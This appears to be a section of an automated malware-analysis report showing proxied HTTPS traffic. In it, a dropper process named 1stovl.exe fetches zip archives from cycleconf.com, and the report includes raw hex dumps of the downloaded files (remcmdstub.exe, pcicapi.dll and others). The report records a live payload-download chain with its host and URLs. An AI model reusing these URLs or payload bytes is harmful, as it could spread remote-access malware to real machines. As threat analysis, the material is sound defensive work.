1040.7357,-74.17240

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	23.254.224.41	443	1136	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 09:39:19 UTC	55	OUT	GET /dwnld/1st2_1.zip HTTP/1.1 Host: cycleconf.com
2024-12-06 09:39:20 UTC	262	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 09:39:20 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 24 Jul 2024 21:12:37 GMT Accept-Ranges: bytes Content-Length: 44274 Vary: Accept-Encoding Content-Type: application/zip
2024-12-06 09:39:20 UTC	7930	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 24 a0 cd 56 00 ef 64 fe d7 7f 00 00 58 f7 00 00 0e 00 00 00 72 65 6d 63 6d 64 73 74 75 62 2e 65 78 65 ed fd 0b 40 54 55 d7 30 8e 9f b9 00 03 0c ce a8 a0 a8 a8 a3 e2 2d bc 0c 0c f7 19 60 50 06 31 41 47 91 41 54 54 12 10 08 81 e0 0c 6a 79 01 07 8c e1 38 69 a5 d5 d3 e5 49 53 cb d2 ca 32 2f 95 1a 88 81 a6 95 77 2d ad b0 4c 0f 8d 25 a6 29 2a 72 fe 6b ed 73 06 06 b5 9e e7 7d be ff fb 7d ef f7 fd 1a dd 67 df d6 de 7b ed b5 d7 5e fb b6 f6 26 69 fa 6a 4a 42 51 94 14 0c c7 51 d4 6e 8a ff e9 a9 7f fd 3b 0b a6 4b ff 4f ba 50 1f b9 7f 39 60 b7 28 f1 cb 01 53 73 72 4b 54 45 c5 85 f3 8a 33 e6 ab e6 66 14 14 14 d2 aa c7 b2 54 c5 e6 02 55 6e 81 2a 6e 52 b2 6a 7e 61 66 d6 28 2f 2f 0f 7f 21 8f e6 61 53 47 7e 34 3e 72 a9 c3 bc 7f 72 e3 d2 4d 60 Data Ascii: PK$VdXremcmdstub.exe@TU0-`P1AGATTjy8iIS2/w-L%)rks}}g{^&ijJBQQn;KOP9`(SsrKTE3fTUnnRj~af(//!aSG~4>rrM`
2024-12-06 09:39:20 UTC	8000	IN	Data Raw: 20 c1 f7 6e 43 bd 56 da 83 a9 c4 f3 42 ec e4 96 83 5c 53 98 27 45 dd 8c 97 eb cd b3 4c 6c 01 9e 1c 7d b2 ee 1c bf aa ec 63 69 69 a3 7b a0 2a 6b 7f a6 b9 b6 cd a5 f6 82 ab 44 be 03 bb 17 6a a1 dc 8c f5 5f 66 7e 05 e1 7a 21 9c 37 c0 35 f6 87 ee 50 db e8 2a 91 da 04 a8 fd 37 f5 fe 65 8a ca 27 c8 91 98 f6 1b 45 c5 3c 70 55 77 17 56 71 36 b2 8a b3 ed 86 6f d5 da ab f0 ad 38 ae a8 78 06 04 f8 58 cd 4d eb 6b b8 5a 8b d8 81 80 8a 95 8b 20 d0 36 a6 51 37 6d 81 42 b1 6f bf 62 5f 99 2f 8c 78 96 46 05 72 8a 62 5f 45 6d 38 78 f3 dc 6a 5b a4 69 d6 ca 95 90 42 5b ab 78 5a 05 69 38 ff ca a7 c7 03 a4 0d c9 06 b4 ad 22 14 26 74 db 41 e8 b9 83 50 72 07 a1 f0 0e a4 64 53 93 3b 0c 49 fb f6 5b 58 15 fd a8 85 95 d0 a1 30 15 a7 07 27 24 d0 3e e0 53 54 7e 81 aa a6 36 84 97 35 ed Data Ascii: nCVB\S'ELl}cii{kDj_f~z!75P7e'E<pUwVq6o8xXMkZ 6Q7mBob_/xFrb_Em8xj[iB[xZi8"&tAPrdS;I[X0'$>ST~65
2024-12-06 09:39:20 UTC	8000	IN	Data Raw: 53 a6 08 a3 14 66 de d7 1e bf 29 97 98 65 96 1a b9 b6 be f8 ca e3 87 e4 92 24 d9 2c 6d 6d 89 0b 46 8b b1 51 b9 90 2b 76 c7 dd 74 d4 45 61 11 57 bf 6f da a7 01 67 c9 ba c6 73 d9 04 da 87 a9 cb 13 a7 05 d4 d2 03 c1 c8 c0 80 db 3c 96 9d b2 07 95 1a 00 10 f5 70 71 f8 c2 a5 f8 3e 44 71 3d 7e ec 29 dc 82 99 cc 09 fe 65 40 5b 91 8c 71 b5 4f 66 ea 2c ac 82 0e b2 b0 ae f4 80 04 ba 1b 6b aa 6d 1f 37 6f d7 c0 88 fb f1 3e c4 69 3d 7e ec 3d f6 61 45 d7 e3 c7 ee b1 0f ab ba 1e 3f 0d 86 8b fc 26 37 41 dc 6a 68 d4 d4 58 96 34 8a 14 15 a7 c9 e1 6a a3 d9 2d 4f c2 de 42 3d 17 c3 45 5c a2 8e b7 43 f1 f8 e2 52 ab e5 ae 8c f6 80 1a c1 dc e8 ae d4 dc 87 99 34 c7 9a 74 d2 3a 6e 0e 84 9b a3 99 49 99 d6 a4 a3 0d e3 32 71 77 09 43 46 30 5e 7a 20 a7 35 e9 3c e3 15 07 0e 09 f1 46 24 Data Ascii: Sf)e$,mmFQ+vtEaWogs<pq>Dq=~)e@[qOf,km7o>i=~=aE?&7AjhX4j-OB=E\CR4t:nI2qwCF0^z 5<F$
2024-12-06 09:39:20 UTC	8000	IN	Data Raw: 9e 7f 1e 0d f5 88 cb 7a cc 3c 6f 5e 56 b1 11 98 1e ab 5c 23 9d 9a 55 3c 3f b7 a0 83 5d 40 a0 38 95 eb 08 ec ea 92 9a 9b 99 35 36 27 a3 78 6a 21 61 bf 31 8b e8 2c 6a a4 24 71 6c 52 46 11 df fe 80 f1 3c 49 7b dc d4 42 47 02 ea 37 a0 16 94 3f 16 58 3f 77 6e 46 7e b2 43 25 22 42 92 98 95 51 9a f5 40 b8 14 f0 14 ca 2d 2c 8e cf c2 b3 db 2c 07 be bd 44 ce 07 94 de 0f f6 41 c0 22 83 f4 f4 07 f9 33 95 fa 16 6b f6 b0 08 aa 10 29 c7 53 7e 6c a1 19 79 e1 27 e0 11 40 0c da fd c9 fb 51 8c 2d c8 4c 2e ca 2d e0 01 af 63 9e 58 fa d4 45 45 59 d4 5c be b7 64 14 d3 e6 22 64 c1 54 ea 18 b4 79 7e 16 fd 40 35 bf 24 dc cb f7 54 8a 7a 4b 32 d9 9c 55 bc c8 98 55 4c 58 b9 60 2e 8f 06 b4 da f3 98 e3 d4 dc b9 8f 0b 78 d5 3e d8 3a c0 16 8b 48 b9 8b 4a e8 ac f9 53 73 a1 73 95 10 8c c0 Data Ascii: z<o^V\#U<?]@856'xj!a1,j$qlRF<I{BG7?X?wnF~C%"BQ@-,,DA"3k)S~ly'@Q-L.-cXEEY\d"dTy~@5$TzK2UULX`.x>:HJSss
2024-12-06 09:39:20 UTC	8000	IN	Data Raw: 7d 51 f3 ed be 69 dd 5f be e4 77 f9 58 ad b6 39 7d d5 78 d9 80 7f 1e bd be ef f4 c9 ec 49 33 8b 43 9f aa 5b 7e e2 25 d9 9a f7 b7 c4 4d f2 6d f0 fe b6 c7 07 fd 82 ba 74 0b af d9 a1 2b bd 62 36 52 2a 69 d7 5e bf d6 73 3f 4c 6c 93 95 0f 0d 9c f4 04 5d 20 91 17 0d 2d 4f c9 7b 79 ec 73 1b 97 9d bb 17 f3 79 cf 7e b1 9f 7e c5 be b5 6c e5 da db f7 96 b5 64 54 59 a9 68 ce 53 74 ee de a9 1d 1b 2f 3e db f5 3f 3c 90 5b f2 d9 b3 67 de ca 9f 3e 2e 3b ee a9 d5 27 9f 59 5d 1c bb aa e7 fe ff ab 0f e4 1c 53 05 e3 b6 3f 7e 98 fd ae e6 7c 5d f2 b4 69 7b f6 77 37 3f a5 ea 3b f5 8b 4f 62 8c 31 9f 54 df 78 dc 7d 6e cd 8c 74 e6 b4 b9 77 c9 5e 86 1b 77 cd e7 fc e4 1e 83 7a 05 5d 2a 78 2e e9 58 fd a8 e9 fd aa c6 78 1f 2a fe f9 8c cc 58 9d f7 47 a6 de f4 9e ff 4f 19 2f fa 8c 69 1e Data Ascii: }Qi_wX9}xI3C[~%Mmt+b6Ri^s?Ll] -O{ysy~~ldTYhSt/>?<[g>.;'Y]S?~\|]i{w7?;Ob1Tx}ntw^wz]x.Xx*XGO/i
2024-12-06 09:39:20 UTC	4344	IN	Data Raw: 4b e5 f5 0e ae 81 64 8d 2e 4b e7 3f 2d ec 83 b2 3e 28 9b 31 db f1 a7 65 bb 4e a6 3d f1 2a f8 14 df 1d ef dc 42 8a 89 08 ff 29 4f 01 e8 a1 09 7a 2a c2 df 5a 52 4b f5 51 4b f2 21 57 0d ba 72 50 5d 6c 24 2e 9a f3 a8 e8 73 21 e7 04 9d 49 f0 b7 10 92 17 fe 73 41 49 23 e7 5b 03 fa aa 04 4e 5e 9e af 23 05 94 ca 07 78 fc fd 65 23 94 36 d0 ba a8 f9 2a e2 8c 91 27 0f 30 f5 c4 f9 85 fc d7 82 04 4d c0 c1 0d 1c 25 2e 1b ab bf 0a fe 2b 82 f2 02 a8 b7 8a fe 74 13 9f 59 50 7f 16 97 06 7b a3 3c 2b 81 62 15 b1 93 3c 9e 2f 21 b7 aa b4 43 80 87 0d f2 36 68 ad 88 18 c8 5c 48 2b 68 1b f9 c4 10 6e a1 9c f6 0d 75 e7 05 59 3c a4 95 38 54 96 53 48 7b 21 71 cd 1a a0 05 01 f8 15 40 32 10 4f 4c bd 9b 21 df 4a 0c 7f e7 ff 44 e8 df cd b4 bd 19 64 16 95 79 05 f4 a6 84 58 a9 14 6b c9 5a Data Ascii: Kd.K?->(1eN=B)OzZRKQK!WrP]l$.s!IsAI#[N^#xe#6*'0M%.+tYP{<+b</!C6h\H+hnuY<8TSH{!q@2OL!JDdyXkZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49709	23.254.224.41	443	1136	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 09:39:21 UTC	55	OUT	GET /dwnld/1st2_2.zip HTTP/1.1 Host: cycleconf.com
2024-12-06 09:39:22 UTC	263	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 09:39:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 24 Jul 2024 21:12:43 GMT Accept-Ranges: bytes Content-Length: 667072 Vary: Accept-Encoding Content-Type: application/zip
2024-12-06 09:39:22 UTC	7929	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 62 1f 9b 48 75 97 3a 7c c7 43 00 00 78 81 00 00 0b 00 00 00 70 63 69 63 61 70 69 2e 64 6c 6c ed bc 09 5c 53 47 d7 38 7c b3 61 40 20 51 88 e2 1e 11 aa 16 c5 9b 84 40 42 12 16 21 8a 2d 68 20 08 ae 20 4b 30 20 9b 21 51 b4 2e ac 4a 8c 51 eb 52 ad b5 2d 14 6d 6d 6b 5b 6b dd 97 8a a2 a2 ad 7b 5b d4 ba 54 ad d5 28 56 71 a9 a0 22 f9 ce cc 4d 20 a8 7d 9e f7 7b bf ff fb bd cf ff f7 eb d5 99 7b 67 e6 cc 99 33 67 9b 33 73 6f 88 99 b0 8c 60 10 04 c1 84 64 b5 12 c4 4e 82 ba c2 88 7f 7f 35 42 72 ef b7 db 9d d8 ea 7c a2 ff 4e 5a f4 89 fe f1 da cc 02 7e be 2e 6f aa 2e 25 87 9f 96 92 9b 9b a7 e7 a7 6a f8 3a 43 2e 3f 33 97 1f 39 46 cd cf c9 4b d7 f8 bb b9 b9 f8 d8 70 5c a8 f4 1b fa e1 01 e5 3c 7b 5a 30 e9 c2 bc 8f f1 fd 22 be af dc 55 3f 6f 2d Data Ascii: PKbHu:\|Cxpcicapi.dll\SG8\|a@ Q@B!-h K0 !Q.JQR-mmk[k{[T(Vq"M }{{g3g3so`dN5Br\|NZ~.o.%j:C.?39FKp\<{Z0"U?o-
2024-12-06 09:39:22 UTC	8000	IN	Data Raw: fa 0c b8 e7 43 9a 8d ca 90 16 43 7a 0f d2 47 90 36 42 aa 81 74 12 52 3d a4 9b 90 1e a2 79 42 3f 77 48 7c 48 81 90 26 40 4a 87 a4 83 34 7b 32 85 df 05 e0 9e 4c 24 88 eb 90 ea 21 1d 85 b4 17 d2 26 48 6b 21 2d 86 54 34 f1 55 5e 46 49 5f 2f 31 fb 6f cd d0 b9 e1 5b 90 8e 26 40 92 13 44 7f b8 82 45 82 61 64 d0 30 01 b8 55 71 b0 48 12 2c 14 f3 13 04 42 7f 01 09 70 be 05 04 31 5a 1d 13 af 4b 49 d3 a8 35 fa 98 bc 74 43 b6 66 74 4a 8e 86 68 af 1f 9b ab 29 4c cb 36 14 64 ce d0 b4 d5 29 db 6a da e1 e2 34 29 e9 11 79 b9 19 99 53 47 e9 35 39 23 74 79 39 23 32 b3 35 ed ed 11 d9 79 05 08 7e 06 00 66 db 2b 1d fa 8f d4 e8 6d dd 73 f5 c4 6b eb 01 6d 07 ba b2 f3 52 d2 db cb d1 b8 44 95 e3 c2 23 94 98 cf 78 8e c1 7c f4 3c 4d a3 cb d5 64 8b 84 fe e9 d9 d9 a8 ac d2 e5 a5 69 0a Data Ascii: CCzG6BtR=yB?wH\|H&@J4{2L$!&Hk!-T4U^FI_/1o[&@DEad0UqH,Bp1ZKI5tCftJh)L6d)j4)ySG59#ty9#25y~f+mskmRD#x\|<Mdi
2024-12-06 09:39:22 UTC	8000	IN	Data Raw: ac 98 b4 f8 bb 37 9e bd 7b f7 d0 74 f2 68 ea 6b b6 4c 1e 59 0f 7f 9d d6 bd e8 d3 67 ef 6c 39 d6 ef cd cb 8f e8 45 81 bb e7 0c db 7e e0 cf 81 91 13 9b c7 8b 53 2f ef 7b 6b 7a ec f9 c5 77 e9 f4 11 a1 93 95 87 43 68 17 bb 8f b8 52 a4 f4 b8 bc 9f 5b c2 0b 78 b4 55 bf d1 fb ee 83 6d 9d b4 7b 52 32 37 4e 2c e0 fe 60 be aa ea 3e 74 90 f5 5c f0 be 99 3f 1c 15 1d b7 ce ef 31 6e c4 d2 19 b7 bc 37 95 88 e2 0f ec 94 07 6f 7c 91 56 f1 9c 71 6a fe c6 cd 37 86 5d de c6 d3 34 cd 9b 32 f7 d8 61 37 cb a9 4e 7f d6 4d 35 bd 9d b3 af eb a3 b4 55 f7 89 af b6 33 f8 65 ad 92 b2 8c 3d b2 dc f3 67 2e 49 ea ba 48 67 ee 33 ad d8 c5 63 ee c9 bc 72 6a e2 86 19 dd 4e cc a3 9f 98 f2 d6 18 9f d6 8f ee 7d d9 b9 ef 3b 7f 55 af b8 ff 6b 8f ba fd 9e e4 94 8c 4d dd ba 8f 4b f8 b3 60 b3 cf ec Data Ascii: 7{thkLYgl9E~S/{kzwChR[xUm{R27N,`>t\?1n7o\|Vqj7]42a7NM5U3e=g.IHg3crjN};UkMK`
2024-12-06 09:39:22 UTC	8000	IN	Data Raw: 26 39 fb f3 3e 20 ff ef 24 b5 ff 02 2d ff ef 6a f9 6f 5b 90 c8 3f 1f 33 50 dd 18 97 a0 1b b2 52 a0 46 0c a3 82 4e 50 03 c6 ed 27 5a 8a 4f 2c f8 97 f4 b5 4b 5b 7a 56 12 bf 67 b5 fc 8e 59 a0 95 37 aa 0a 99 f2 b0 22 ef 9b 15 79 8f 7e 58 95 b7 be 42 1c 11 6e 62 6a 93 b3 ff 60 6f f4 de 21 7a 10 bc 37 55 55 2e 6b 99 f9 e3 7c 4d 55 52 f2 9f ae d7 14 59 2d 17 71 65 42 e7 86 2e ee 71 13 d3 fd c0 cb 28 ec 4d b4 99 61 46 a6 2a a9 45 5b d8 d1 8f 5e 40 f2 f3 7b c6 58 97 d7 a1 fe bb c3 9d 56 af 4f 8e 1f b8 a3 ce f3 cb b7 e2 6b f1 2c da a8 fd e4 9f c5 1c 87 46 35 18 2d 44 43 18 73 f2 34 6c 72 88 ed e9 b9 d9 1d 2d 3c 45 5e 7a 00 ec a4 f3 94 5b dc 2f 47 55 c8 8e 87 e0 4d e1 29 48 82 5f 27 91 d5 a5 80 c4 c9 bb c9 94 00 72 ad b0 6c 54 59 9e a8 65 b9 66 9e cc b2 58 78 7e b9 Data Ascii: &9> $-jo[?3PRFNP'ZO,K[zVgY7"y~XBnbj`o!z7UU.k\|MURY-qeB.q(MaF*E[^@{XVOk,F5-DCs4lr-<E^z[/GUM)H_'rlTYefXx~
2024-12-06 09:39:22 UTC	8000	IN	Data Raw: a8 f3 d2 a9 6f 77 87 5e 9c 2e ce e5 45 2f 4f 5d 83 f0 09 83 e3 e0 2a 7d ce 6e d1 6b 14 cd b5 51 e3 7a b6 c4 28 36 49 f9 7c 42 a5 ec 8d b9 73 ad 09 d7 42 f9 0f e0 40 90 39 3b 21 1e 4a 6b b9 c3 45 87 83 c4 aa 68 f2 9f 19 20 bf d9 98 1a fe a1 01 e0 1b 40 6e 77 b5 fc 0b e3 45 53 bf f3 f7 18 5d ef 34 db 1b 23 6d c1 05 eb 7b 11 df aa cc a8 11 0f 88 71 6e 62 9e c3 c9 bb 36 27 47 e9 42 c7 79 f9 4e 08 f2 71 81 9e f3 07 bf 3d d6 8a 31 8c 98 f3 3c 1d 11 77 df ad 5a be ab c3 ff 82 63 20 fc df 4f 85 3f 90 0a bf bc 1e 5b ba 28 c5 f8 cd f2 b5 f1 91 5a a7 a4 e2 90 c7 47 a7 39 a7 c9 db d4 a3 8f de 46 7f 01 14 4c b2 d7 e3 26 ef 4f a5 2e 9c 21 be dd 6a af 3d e9 42 b0 01 c7 eb 74 b4 e9 23 04 c5 0f b9 da df bf 4b dd 7f 70 8b 2f 0e 3a a0 f9 e2 0c e1 d6 70 93 b1 20 d4 4d 99 4a Data Ascii: ow^.E/O]*}nkQz(6I\|BsB@9;!JkEh @nwES]4#m{qnb6'GByNq=1<wZc O?[(ZG9FL&O.!j=Bt#Kp/:p MJ
2024-12-06 09:39:22 UTC	8000	IN	Data Raw: 52 aa 4e ff 0a df 66 7f 03 99 c4 4c 29 1c df 52 40 4b 24 5d d4 4a ac 73 23 08 65 94 aa 1a dd b4 46 f9 17 b4 b2 4e 01 5b 18 1d 6d e1 c4 e7 a8 85 a0 36 30 46 ad f1 5a d6 d0 38 a8 12 68 5d 1f 79 cc 60 5d 6d e0 42 f7 43 84 cf a9 ec 6b 26 cd 1c 6d 77 66 44 ad 27 d6 ac 0e 5b 7d 94 36 50 bb 34 83 14 45 1c f2 8c 8b 28 4e a5 04 8d 29 46 82 43 c8 42 dc 36 41 52 28 9a a3 ba 74 aa 3e 66 85 11 27 e2 0d 72 89 42 44 91 95 bc 2a bf 0b 57 4b 77 79 e4 8f 3e 47 ec 07 3e 81 f4 09 ef f6 d3 b2 04 fd 7f b0 b5 40 07 cb 9a 77 e5 5f 20 8a 43 23 cd f8 bd c4 84 0a 39 da 32 a6 6b ee 6f 7a 4f 6d 51 6f e0 36 f2 63 53 55 85 19 14 14 8d 79 ab 4d dc cf 9b 3a 53 ad f4 ef cf 9a e8 d7 1a f0 56 16 c7 97 9d 26 7d 62 85 99 a6 4e 07 d5 96 22 b3 75 6a 20 c7 e9 f6 eb 1d 14 d8 97 81 85 06 17 86 4b Data Ascii: RNfL)R@K$]Js#eFN[m60FZ8h]y`]mBCk&mwfD'[}6P4E(N)FCB6AR(t>f'rBD*WKwy>G>@w_ C#92kozOmQo6cSUyM:SV&}bN"uj K
2024-12-06 09:39:22 UTC	8000	IN	Data Raw: 52 f9 37 67 a3 f6 fc 5c 0d dc 66 ba 36 30 25 94 c0 0f 49 49 24 a8 5c 0d e4 90 89 a0 a8 41 5e 09 be 33 0c 49 c1 c9 73 14 73 2e 27 af 33 5d 53 d3 14 98 d7 99 12 54 7a 03 d9 09 9f 51 ef a3 e9 4a f2 ba 8c b4 9a 43 c2 24 8d 84 a5 f6 d8 32 f4 c2 9d 14 7c d5 96 da e1 74 cb c5 28 ef 64 84 62 74 1c 30 a1 00 85 72 49 19 76 85 65 77 38 e5 4f d1 23 a9 71 09 9d 15 75 24 c0 fb 80 5f c7 3b 64 2f db 54 fb c9 2a 8e b2 f1 64 f9 d0 22 82 36 2a ff 0a b9 ea fe 72 18 ed bf 6d ed db f0 8c 30 cb b7 15 28 c4 a4 cb c8 81 f6 bc 8d f5 6f 87 8f f9 c0 aa 54 8c 68 80 3f 98 d0 9c 7f 8e 4e 73 65 5a c3 b9 61 5a 4a ac 3e a6 69 6d 4d 31 1c a1 bb fa 38 df 35 9c 46 2f 36 02 bd f8 9f 15 78 94 73 79 e2 75 67 d2 4d 40 e1 3b 2c 8d db 4d b4 90 38 d1 48 9f d2 93 7a eb ab 42 c6 7d 24 2c a6 9b e9 3b Data Ascii: R7g\f60%II$\A^3Iss.'3]STzQJC$2\|t(dbt0rIvew8O#qu$_;d/Td"6rm0(oTh?NseZaZJ>imM185F/6xsyugM@;,M8HzB}$,;
2024-12-06 09:39:22 UTC	8000	IN	Data Raw: 9a f6 e3 ef 54 e2 af bc 48 c9 6e c9 b6 91 5d d8 ed 0e db 36 f6 d3 94 df 2d a7 65 c3 ad e2 6e cc b0 8b 32 4a bb a3 6a f2 9b e2 6f f5 b6 c6 bf 6c d0 5e 5a 41 7d 1d ec 0d 40 db fd 6d 9d b0 40 ab 69 a7 03 9b 6b 85 5b 38 b1 74 a7 58 ba 23 7a 59 b8 23 5a 13 5e bb 31 f5 f9 b7 93 04 7a 0a da 4d 78 4d 1b 7e 37 dc 14 ee d6 6e bc 76 0f 7e e3 f5 b4 45 bd c5 da 4f db 15 6d 9b b5 6b b9 dd 83 5f b5 2d 55 b3 17 6d 26 25 87 5d 60 20 7e 1b 8a d8 41 dd 25 83 80 e5 de 9f af 82 00 ff ee 3f b3 b3 ec 0d ec ea a4 10 74 ad e1 da 4a b4 0b ea ac 47 f5 2d b0 97 ec be ec 8e 89 83 2b b0 5f e3 8c 3b 35 81 bf 9f 15 e0 ef 67 8c 2b d1 df 8f c9 a5 fa ee b1 99 2d 1d e0 4e 42 dc 02 0e 53 f2 d1 11 c4 f4 14 5d 04 84 2b 47 01 89 1e a0 ac a2 ef 47 19 70 1f a0 03 8d f6 e1 78 af 92 11 73 26 b0 d3 Data Ascii: THn]6-en2Jjol^ZA}@m@ik[8tX#zY#Z^1zMxM~7nv~EOmk_-Um&%]` ~A%?tJG-+_;5g+-NBS]+GGpxs&
2024-12-06 09:39:22 UTC	8000	IN	Data Raw: 0d 4d 45 3b 82 25 60 9a 0a 79 b9 40 83 3d 5b 85 5d bd ae 17 46 f1 cc fe 3a 9c 92 d3 bf 57 96 46 37 ef eb 4a a3 13 cc 36 0a 39 f7 61 8a 3b d3 57 83 b4 8c b9 c0 29 87 10 d6 e7 68 0e e5 f4 f6 a9 6f b2 eb ff 1f d2 34 14 73 79 c5 74 28 45 a6 03 e7 87 e2 03 9e 66 3b c7 d4 ae c7 f9 cc 60 86 dd 40 cb fa 76 a6 01 fd 40 66 d7 84 7b aa 6f 93 9a f9 bc 96 79 54 34 f3 26 c8 bc 92 65 26 e9 98 1b e4 10 0e 9a 7b a3 96 7b 4c 34 f7 7a c8 3d 57 cd 9d 89 b9 41 4e e1 a4 b9 37 69 b9 33 a2 b9 cb 21 f7 d8 78 40 84 34 06 c8 66 2d 73 66 34 f3 23 90 f9 42 24 1e 90 65 69 0c 90 ad 5a ee b1 d1 dc 3c e4 7e 31 12 0f c8 dc 34 06 c8 0e 2d f7 b8 68 ee 69 90 5b 8a c4 01 32 59 05 64 a7 96 39 2b 9a 39 0b 32 2f 4b 00 c4 ac 02 b2 4b cb 7d 4d 34 b7 11 72 df 99 00 88 4e 05 64 b7 96 7b 7c 34 f7 c5 Data Ascii: ME;%`y@=[]F:WF7J69a;W)ho4syt(Ef;`@v@f{oyT4&e&{{L4z=WAN7i3!x@4f-sf4#B$eiZ<~14-hi[2Yd9+92/KK}M4rNd{\|4
2024-12-06 09:39:22 UTC	8000	IN	Data Raw: fd a9 ec e7 7d 6e b9 5d d3 72 12 e8 f6 94 c5 d5 f3 23 49 61 9a 93 fe 35 3a 9c c1 46 33 ef 96 ef fa 50 51 58 90 65 70 a8 89 91 3b 9b 3f 66 5d fb c1 47 50 78 8a ba 01 fc eb 73 26 1d a9 e8 d5 71 35 04 d5 f8 7a 69 37 8b e9 c2 5b ba c4 d2 a8 82 a9 f6 a1 f3 15 c8 17 38 6b ad 30 57 fc 53 23 94 b8 1c ae 00 65 7c 01 34 47 42 1d 81 bf fb f5 6c 59 b8 e5 db 63 fa 58 17 fb 12 40 ca 7d cd 21 19 c6 51 50 73 01 ae e4 88 3c 06 e1 ca 82 16 84 e7 2e 04 14 e4 01 96 94 31 00 fa 9f 9f 60 8b 03 f0 ff f2 59 6c 51 df 1b dd bf 7c 6f a1 01 36 cc c4 0b 9c b6 7f 11 47 12 b9 cf c0 66 e6 b4 46 40 c1 03 4d 1c c5 8c ed 67 1e dc cf 4a da fc 23 9d f2 91 8f fb ef d0 f3 e8 0e bd a2 ff 0e fd b3 cf d8 aa 6b 49 d8 aa b4 f3 67 f4 d0 f9 ea bf 58 78 17 bc 1b 6a db 67 46 8e ca 09 1c 95 bc 2c da 10 Data Ascii: }n]r#Ia5:F3PQXep;?f]GPxs&q5zi7[8k0WS#e\|4GBlYcX@}!QPs<.1`YlQ\|o6GfF@MgJ#kIgXxjgF,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	23.254.224.41	443	1136	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 09:39:25 UTC	55	OUT	GET /dwnld/1st2_3.zip HTTP/1.1 Host: cycleconf.com
2024-12-06 09:39:26 UTC	264	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 09:39:25 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 24 Jul 2024 21:12:50 GMT Accept-Ranges: bytes Content-Length: 1400338 Vary: Accept-Encoding Content-Type: application/zip
2024-12-06 09:39:26 UTC	7928	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 68 8b 14 53 36 ed c0 50 ee 66 00 00 60 dd 00 00 0e 00 00 00 72 74 6d 6d 76 72 6f 72 74 63 2e 64 6c 6c e4 5a 7b 78 53 55 b6 df e9 83 96 47 9b 20 56 02 f2 08 10 b1 8a 60 a4 02 d5 02 e6 d0 16 4e 20 81 08 7d a1 d0 16 4a 79 8c 08 a5 a4 42 1d 15 34 8d 1a b7 19 f1 53 91 b9 be 46 bd 3e 19 e7 a1 5e a6 94 7b 99 94 22 cf 4b 81 a2 50 7c 8c 1d af f7 9b 53 83 63 d1 99 0a c8 4c ee 5a 6b 9f 93 9c b6 29 14 2f de 7f 6e be a6 e7 e4 9c bd 7f eb b9 d7 5a fb e1 ba 63 13 8b 67 8c 25 c0 37 1c 66 ac 96 89 8f 9d 5d fc 63 36 30 96 3a bc 2e 95 bd df fb d0 88 5a 83 f3 d0 88 bc e5 2b d6 5a 2a 2a 57 2f ab 5c 74 b7 a5 6c d1 aa 55 ab 3d 96 c5 e5 96 ca aa 55 96 15 ab 2c 39 73 e6 59 ee 5e bd a4 7c 5c 4a 4a 1f ab 8a a1 dc 96 b5 fb d7 c5 f9 cf 6a df cf 27 cf dd Data Ascii: PKhS6Pf`rtmmvrortc.dllZ{xSUG V`N }JyB4SF>^{"KP\|ScLZk)/nZcg%7f]c60:.Z+Z**W/\tlU=U,9sY^\|\JJj'
2024-12-06 09:39:26 UTC	8000	IN	Data Raw: da ec e3 f8 d2 8b e7 f7 50 a9 41 f2 9a 1c 6f 66 7b 37 94 6c cf 23 5f d1 3b 25 5e 5f bc 85 de 87 7d 84 2e 02 d7 fc a6 87 ae b4 9c 83 46 d4 17 af 9b cf 1a cf 25 fe c6 b3 a6 97 ba 52 a2 81 06 14 da 91 1a 4f 04 6d ab 13 93 90 27 1a 94 d8 4f 85 53 d6 7b ba 22 08 bf 89 5f bd 07 83 41 41 28 32 b3 1d 8f 0a b1 3e 66 0f 9e 3e f3 44 a2 58 dc 07 8c ae 0c 67 34 89 fa 78 a8 15 00 f3 b1 2a f8 e2 9f 4f 86 c2 db 2f c1 de 49 8f 24 6a a1 26 db 2b 7f a0 13 cd 02 06 fa 72 32 0b 4d ed 8b 7f 21 99 56 ea 58 48 79 59 8d 10 ee f9 1d 76 20 e2 81 c4 6e bc f1 bc f3 14 26 d9 2d c3 ac 4f d4 4c 49 c1 43 06 35 d7 ce 01 d0 07 73 cb 0c 9c e7 46 63 ab 60 46 19 fe 2c 54 75 ca 84 8c f7 ed 7f 0b 19 60 0d cb eb 9b b5 94 d7 3f d6 86 f2 9a f2 b3 bc 7c 33 27 cd c7 b1 43 e8 7b 0b 8a d4 b3 67 a4 2f Data Ascii: PAof{7l#_;%^_}.F%ROm'OS{"_AA(2>f>DXg4x*O/I$j&+r2M!VXHyYv n&-OLIC5sFc`F,Tu`?\|3'C{g/
